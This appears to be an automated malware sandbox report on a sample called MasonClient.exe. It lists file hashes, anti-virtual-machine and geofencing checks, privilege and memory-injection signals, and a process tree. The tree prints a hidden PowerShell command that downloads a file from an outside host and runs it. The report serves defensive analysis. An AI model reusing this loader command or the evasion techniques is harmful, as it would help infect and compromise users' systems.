Analysis
- user interaction
yes - max time kernel
22s - max time network
27s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
30/06/2026, 03:59
Static task
static1
Behavioral task
behavioral1
Sample
MasonClient.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
MasonClient.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral3
Sample
MasonClient.exe
Resource
win11-20260513-en
Behavioral task
behavioral4
Sample
MasonClient.exe
Resource
win11ltsc2024-20260629-en
General
- Target MasonClient.exe
- Size 310KB
- Sample260630-ej8xesd19y
- SHA256 068d60132aa87ea77fa6b1b9c1b12bc25d1a6dc4bd8c0516f516e928e560564d
- MD5 aadc3bb763f144a53b91a508d72d26c8
- SHA1 6991707ce4b3b2f96a7c2feae2088dd3104ed556
- SHA512 554997e088a82dde50b09909e65c303b5281347ce5d22f535479bbd203aa67983961a1b46c528a6d8e5e983f94fe73e930881d5853281c72e6c84fbc9c7fc83c
- SSDEEP 6144:p6yPeAbZULOu2ofmOULfTU+UpYV2UwjU66bduA01T:p6ymAer2ofmmFeEUhk
- TLSH T1CE643A2C379AC920E1EBDAF7419F7550E7BA65A34F13E2A794C4913B3C10ECC4AA42D5
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions MasonClient.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 4 4628 powershell.exe 5 4628 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4628 powershell.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools MasonClient.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MasonClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MasonClient.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation MasonClient.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 10 raw.githubusercontent.com 11 raw.githubusercontent.com - Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 MasonClient.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum MasonClient.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3908 MasonClient.exe 4628 powershell.exe 4628 powershell.exe 3908 MasonClient.exe 3908 MasonClient.exe 3908 MasonClient.exe 3908 MasonClient.exe 3908 MasonClient.exe 3908 MasonClient.exe 3908 MasonClient.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3908 MasonClient.exe Token: SeDebugPrivilege 4628 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 3908 wrote to memory of 4628 3908 MasonClient.exe 85
Processes
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C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks computer location settings
- Maps connected drives based on registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4628
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Network
MITRE ATT&CK Enterprise v16
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uzinrooo.mza.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH